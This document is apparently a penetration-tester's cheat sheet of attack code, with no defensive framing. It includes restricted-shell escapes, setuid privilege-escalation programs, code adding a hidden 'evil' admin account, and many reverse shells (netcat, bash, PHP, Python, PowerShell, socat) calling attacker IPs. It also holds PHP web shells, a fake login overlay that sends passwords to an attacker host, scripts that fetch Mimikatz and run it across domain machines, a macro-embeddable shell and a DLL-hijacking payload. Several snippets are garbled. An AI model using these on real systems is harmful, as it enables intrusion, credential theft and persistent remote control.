Escaping restricted shells

Restricted shells are used for security reasons and to defend against privilege escalation attacks. Restricted shells namely [rbash] , [rsh] and [rksh] limit what commands you can run to a limited set of commands.
To find out what restricted shell you are in

```
echo $SHELL
```

The methodology of escaping restricted shells boils down to error and trial. Try what commands you can run and take it from there. We will explore different scenarios and how you can escpae restricted shells based on what's allowed.

'/' are allowed

In that case just type the below command

```
/bin/sh
```

PATH environment variable is allowed to be changed

```
export PATH=/bin:/usr/bin:$PATH
export SHELL=/bin/sh
```

Using awk

```
awk 'BEING {system('/bin/sh')}'
```

Using find

```
find / -name name -exec /bin/sh \;
```

Using SSH

if you got ssh credentials you can try sshing with one of the below commands

```
ssh username@target -t bash
```

#OR

```
'bash --noprofile'
```

Using python

```
python -c 'import os; os.system('/bin/sh')'
```

Using perl

```
perl -e 'exec '/bin/sh';'
```

Privilege escalation C code

```
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main (void) {
    setuid(0);
    setgid(0);
    system("/bin/bash -p");
    return 0;
}
```

```
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main(void)
{
    setuid(geteuid());
    execl("/bin/sh","sh",0);
}
```

Adding a new admin user to the compromised windows system. Replace this code with an executable file with weak permissions and is run as a service or as an admin.

```
#include <stdlib.h>
int main ()
{
int i;
i = system ("net user evil Ev!lpass /add");
i = system ("net localgroup administrators evil /add");
return 0;
}
```

Python tty

Necessary for a stable shell.

```
python3 -c 'import pty; pty.spawn("/bin/bash")'
```

Netcat shell one liner

```
@rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.11.0.4 1234 >/tmp/f>
```

PHP shell

```
@<pre>system("bash -c 'bash -i >& /dev/tcp/10.0.0.1/8080 0>&1'")</pre>
```

One Liner PHP shell [1]

```
<?php echo "<pre>" . shell_exec($_GET["cmd"]) . "</pre>"; ?>
```

Bash Shell

```
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
```

One liner ping sweep scan to determine live hosts

```
root@kali:~$for i in {1..254}; do ping -c 1 10.10.0.$i | grep 'from'; done

root@kali:~$for /L %i in (1,1,255) do @ping -n 1 -w 200 10.5.5.%i > nul && echo 10.5.5.%i is up.
```

Php one liner [2]

```
<?php system($_REQUEST["cmd"]); ?>
```

This one liner can be Executed in Windows cmd or Kali shell.
Another way is by uploading it as a webshell and then setting [cmd] equals to bash reverse shell that connects back to your listener. Example with [curl] is below

```
curl http://ip/assets/cmd.php -d "cmd=bash -c 'bash -i >%26 /dev/tcp/ip/port 0>%261'"
```

python udp reverse shell

This reverse shell can be placed in a python script or within a python console.

```
import subprocess;subprocess.Popen(["python", "-c", 'import os;import pty;import
socket;s=socket.socket(socket.AF_INET,socket.SOCK_DGRAM);s.connect((\"ip\",
```

```
1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);os.putenv(\"HISTFILE\",\"/dev/null\");pty.spawn(\"/bin/sh\");s.close()']
```

For the above shell to work, we need to use [socat] listener

```
socat file:`tty`,echo=0,raw udp-listen:1234
```

Wordpress one liner php reverse shell to be added to functions.php or any plugin file

```
@$sock=fsockopen("FrontGun_IP",443);exec("/bin/sh -I <&3 >&3 2>&3");
```

Python reverseshell to connect back to attacker box

[one]

```
import socket
import pty
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.9.0.54",5555))
dup2(s.fileno(),0)
dup2(s.fileno(),1)
dup2(s.fileno(),2)
pty.spawn("/bin/bash")
```

[two]

```
python -c 'import
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.8.149.124",4545))
```

Malicious Login form to send details to a listener

```
<div style="position: absolute; left: 0px; top: 0px; width: 800px; height: 600px; z-index: 1000; background-color:white;">
Session Expired, Please Login:<br>
<form name="login" action="http://attackerIP:port">
<table>
<tr><td>Username:</td><td><input type="text" name="uname"/></td></tr>
<tr><td>Password:</td><td><input type="password" name="pw"/></td></tr>
</table>
<input type="submit" value="Login"/>
</form>
</div>
```

Reverse shell one liner – Powershell

[1]

```
$client = New-Object System.Net.Sockets.TCPClient('192.168.254.1',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
$sm=(New-Object Net.Sockets.TCPClient('192.168.254.1',55555)).GetStream();[byte[]]$bt=0..65535|%{0};while(($i=$sm.Read($bt,0,$bt.Length)) -ne 0){;$d=(New-Object Text.ASCIIEncoding).GetString($bt,0,$i);$st=([text.encoding]::ASCII).GetBytes((iex $d 2>&1));$sm.Write($st,0,$st.Length)}
```

[2]

```
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.10.14.18',4545);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
```

[3]

```
powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("10.10.14.18",4545);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
```

Invoke-PowershellTCP

First clone nishang into your machine

```
git clone https://github.com/samratashok/nishang.git
```

At the bottom of [InvokePowerShellTcp.ps1] put the following:

```
Invoke-PowerShellTcp -Reverse -IPAddress yourip -Port yourport
```

To invoke this, download it to the target machine and execute it using the below powershell command

```
powershell iex(new-object net.webclient).downloadstring('http://yourip/Invoke-PowerShellTcp.ps1')
```

Catch the connection on your listener

Python + Powershell reverse shell

Run the below script and provide RHOST,RPORT,LHOST,LPORT and it will connect to your listener

```
#!/usr/bin/env python2
import sys
import urllib, urllib2
from base64 import b64encode

if (len(sys.argv) < 5):
    print("usage: <RHOST> <RPORT> <LHOST> <LPORT>")
    exit()

RHOST = sys.argv[1]
RPORT = sys.argv[2]
LHOST = sys.argv[3]
LPORT = sys.argv[4]

print("RHOST="+RHOST+" RPORT="+RPORT+" LHOST="+LHOST+" LPORT="+LPORT+'\n')

payload = "$client = New-Object System.Net.Sockets.TCPClient('"+LHOST+"',"+LPORT+"); $stream =
$client.GetStream(); [byte[]]$bytes = 0..65535|%{0}; while(($i = $stream.Read($bytes, 0, $bytes.Length))
-ne 0) {; $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (iex $data 2>&1 | Out-String ); $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length); $stream.Flush()}; $client.Close();"

print(payload+'\n')

b64enc_command = b64encode(payload.encode('UTF-16LE')).replace('+','%2b')

url = "http://"+RHOST+":"+RPORT+"/?
search=%00{.exec%7CC:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe%20-
EncodedCommand%20"+b64enc_command+".}"

print(url)
response = urllib2.urlopen(url)
print("\nSTATUS: "+str(response.getcode()))
```

Downloading and executing a powershell script in memory (Mimikatz.ps1) to harvest admin password on the targeted domain controller. This script is run directly from the target

```
$browser = New-Object System.Net.WebClient
IEX($browser.DownloadString("http://[your-server-ip]:[port]/Invoke-Mimikatz.ps1"))
invoke-Mimikatz
```

Running the above script on multiple domain joined machines to harvest all passwords

```
$browser = New-Object System.Net.WebClient
IEX($browser.DownloadString("http://[your-server-ip]:[port]/Invoke-Mimikatz.ps1"))

invoke-mimikatz -Computer FRSV27, FRSV210,FRSV229, FRSV97 |out-file result.txt -Append
```

FRSV2010..are the targeted computer names which you can get by running nslookup on the corresponding IP

Save it as Mimikatz.ps1 and run it.

This script depends and relies on winrm (5985) to be enabled on the target you are running the script from, you can enable it with the following command:

```
Wmic /user:admin /password:password /node:[ip] process call create "powersell enable-PSRemoting -force"
```

Powershell script that Downloads Mimikatz and executes it on multiple defined machines using WMI. Use it if the above method failed

Scenario 1:
You have just compromised a domain-joined machine / domain-controller / regular work station and want to harvest the passwords / hashes of other domain-joined machines then you can use the below script to launch it from the host you have just compromised.

Scenario 2:
You have compromised a non domain-joined machine and want to download and execute mimikatz as stealthy as possible then you can use the script below and stop at the green highlight.

```
$command = '$browser = New-ObjectSystem.Net.WebClient;
IEX($browser.DownloadString("http:// [your-server-ip]:[port]/Invoke-Mimikatz.ps1"));
$machine_name = (get-netadapter | getnetipaddress | ? addressfamily -eq "IPv4").ipaddress;invoke-mimikatz | out-file c:\windows\temp\$machine_name".txt"'
$bytes =[System.Text.Encoding]::Unicode.GetBytes($command)
$encodedCommand = [Convert]::ToBase64String($bytes)

$PC_IP = @("[target-ip-1]", "[target-ip-2]")
```

```
ForEach ($X in $PC_IP) {
$proc = invoke-wmimethod -ComputerName $X
win32_process -name create -argumentlist ("powershell -encodedcommand $encodedCommand")
$proc_id = $proc.processId
do {(Write-Host "[*] Waiting for mimi to finish on $X"),
(Start-Sleep -Seconds 2)} until ((Get-WMIobject -Class Win32_process -Filter "ProcessId=$proc_id" -
ComputerName $X | where {$_.ProcessId -eq $proc_id}).ProcessID -eq $null)
move-item -path "\\$X\C$\windows\temp\$X.txt" -Destination C:\users\Administrator\desktop\ -force
write-host "[+] Got file for $X" -foregroundcolor "green"
}
```

write-host $encodedCommand [include this command if you are running this script for a single host and stop here].

Powershell script to download mimikatz and execute it in memory only:

```
$browser = New-Object System.Net.WebClient
$browser.Proxy.Credentials =
[System.Net.CredentialCache]::DefaultNetworkCredentials
IEX($browser.DownloadString("https://raw.githubusercontent.Mimikatz.ps1"))
invoke-Mimikatz
```

Powershell Script for user enumeration

```
$domainObj = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
$PDC = ($domainObj.PdcRoleOwner).Name
$SearchString = "LDAP://"
$SearchString += $PDC + "/"
$DistinguishedName = "DC=$($domainObj.Name.Replace('.', ',DC='))"
$SearchString += $DistinguishedName
$Searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]$SearchString)
$objDomain = New-Object System.DirectoryServices.DirectoryEntry
$Searcher.SearchRoot = $objDomain
$Searcher.filter="samAccountType=805306368"
$Searcher.FindAll()
```

Powershell Script for Enumerating specific user accounts

```
$domainObj = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
$PDC = ($domainObj.PdcRoleOwner).Name
$SearchString = "LDAP://"
$SearchString += $PDC + "/"
$DistinguishedName = "DC=$($domainObj.Name.Replace('.', ',DC='))"
$SearchString += $DistinguishedName
$Searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]$SearchString)
$objDomain = New-Object System.DirectoryServices.DirectoryEntry
$Searcher.SearchRoot = $objDomain
$Searcher.filter="name=[account-name]"
$Searcher.FindAll()
```

```
Foreach($obj in $Result)
{
Foreach($prop in $obj.Properties)
{
$prop
}
Write-Host "------------------------"
}
```

Powershell Script for Enumerating Groups

```
$domainObj = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
$PDC = ($domainObj.PdcRoleOwner).Name
$SearchString = "LDAP://"
$SearchString += $PDC + "/"
$DistinguishedName = "DC=$($domainObj.Name.Replace('.', ',DC='))"
$SearchString += $DistinguishedName
$Searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]$SearchString)
$objDomain = New-Object System.DirectoryServices.DirectoryEntry
$Searcher.SearchRoot = $objDomain
$Searcher.filter="(objectClass=Group)"
$Result = $Searcher.FindAll()
Foreach($obj in $Result)
{
$obj.Properties.name
}
Enumerating specific group and its members
$domainObj = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
$PDC = ($domainObj.PdcRoleOwner).Name
$SearchString = "LDAP://"
$SearchString += $PDC + "/"
$DistinguishedName = "DC=$($domainObj.Name.Replace('.', ',DC='))"
$SearchString += $DistinguishedName
$Searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]$SearchString)
$objDomain = New-Object System.DirectoryServices.DirectoryEntry
$Searcher.SearchRoot = $objDomain
$Searcher.filter="(name=[group-name])"
$Result = $Searcher.FindAll()
Foreach($obj in $Result)
{
$obj.Properties.member
}
```

Powershell Script for Enumerating service principal names to figure out the running services on the domain controller. In the example below, we enumerate for ‘http’.

```
$domainObj = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
$PDC = ($domainObj.PdcRoleOwner).Name
$SearchString = "LDAP://"
$SearchString += $PDC + "/"
$DistinguishedName = "DC=$($domainObj.Name.Replace('.', ',DC='))"
$SearchString += $DistinguishedName
```

```
$Searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]$SearchString)
$objDomain = New-Object System.DirectoryServices.DirectoryEntry
$Searcher.SearchRoot = $objDomain
$Searcher.filter="serviceprincipalname=*http*"
$Result = $Searcher.FindAll()
Foreach($obj in $Result)
{
Foreach($prop in $obj.Properties)
{
$prop
}
}
```

Powershell shell to be embedded in an office-macro enabled document

```
#Open a socket connection
$client = New-Object
System.Net.Sockets.TCPClient("IP",PORT);
$stream = $client.GetStream();
#Send shell prompt
$greeting = "PS " + (pwd).Path + "> "
$sendbyte = ([text.encoding]::ASCII).GetBytes($greeting)
$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush();
[byte[]]$bytes = 0..255|%{0};
#Wait for response, execute whatever’s coming, then
loop back
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne
0){
$data = (New-Object -TypeName
System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + "PS " + (pwd).Path +
"> ";
$sendbyte =
([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush()
};
$client.Close()
```

perl one liner for privilege escalation

```
root@kali$:sudo perl -e 'exec' "/bin/bash";'
```

execute sys commands using python

```
root@kali$:python -c 'import os; os.system("command")'
```

python reverse shell in case the target behind a firewall. Execute this inside a webshell or from within the target. Don't forget to setup listner at the attacking machine:

```
python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“54.186.248.116”,1234));os.dup2(s.fileno(),0);

os.dup2(s.fileno(),1);

os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,”-i”]);’
```

php one liners [3]

```
[1] php -r '$sock=fsockopen("192.168.1.10",3333);exec("/bin/sh -i <&3 >&3 2>&3");'

[2] ? php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.1.2:4444 0>&1'"); ?

[3] ?php -r '$sock=fsockopen("192.168.1.2",4444);exec("/bin/sh -i <&3 >&3 2>&3");' ?
```

Socat

Linux

Listener

[1]

```
socat TCP-L:<port> -
```

[2]

```
socat TCP-L:<PORT> EXEC:"bash -li"
```

Connect

```
socat TCP:<LOCAL-IP>:<LOCAL-PORT> EXEC:"bash -li"
```

Stable Listener

```
socat TCP-L:<port> FILE:`tty`,raw,echo=0
```

Stable Connect

```
socat TCP:<attacker-ip>:<attacker-port> EXEC:"bash -li",pty,stderr,sigint,setsid,sane
```

Windows

Connect

```
socat TCP:<LOCAL-IP>:<LOCAL-PORT> EXEC:powershell.exe,pipes
```

Listen
[1]

```
socat TCP-L:<PORT> EXEC:powershell.exe,pipes
```

[2]

```
socat TCP-L:<port> -
```

Socat Encrypted

This command creates a 2048 bit RSA key with matching cert file, self-signed, and valid for just under a year. When you run this command it will ask you to fill in information about the certificate

```
openssl req --newkey rsa:2048 -nodes -keyout shell.key -x509 -days 362 -out shell.crt
```

merge the two created files into a single `.pem` file

```
cat shell.key shell.crt > shell.pem
```

Listener

```
socat OPENSSL-LISTEN:<PORT>,cert=shell.pem,verify=0 -
```

Connect

```
socat OPENSSL:<LOCAL-IP>:<LOCAL-PORT>,verify=0 EXEC:/bin/bash
```

C code to perform DLL Hijacking

```
#include <windows.h>

BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved) {
```

```
    if (dwReason == DLL_PROCESS_ATTACH) {
        system("cmd.exe /k net user admin newpass");
        ExitProcess(0);
    }
    return TRUE;
}
```

The above code changes the admin password to [newpass]
Compile the code with the below command on linux

```
x86_64-w64-mingw32-gcc code.c -shared -o code.dll
```

Replace [code.dll] with the targeted or missing dll on the target machine then stop and start its associated service to execute your dll.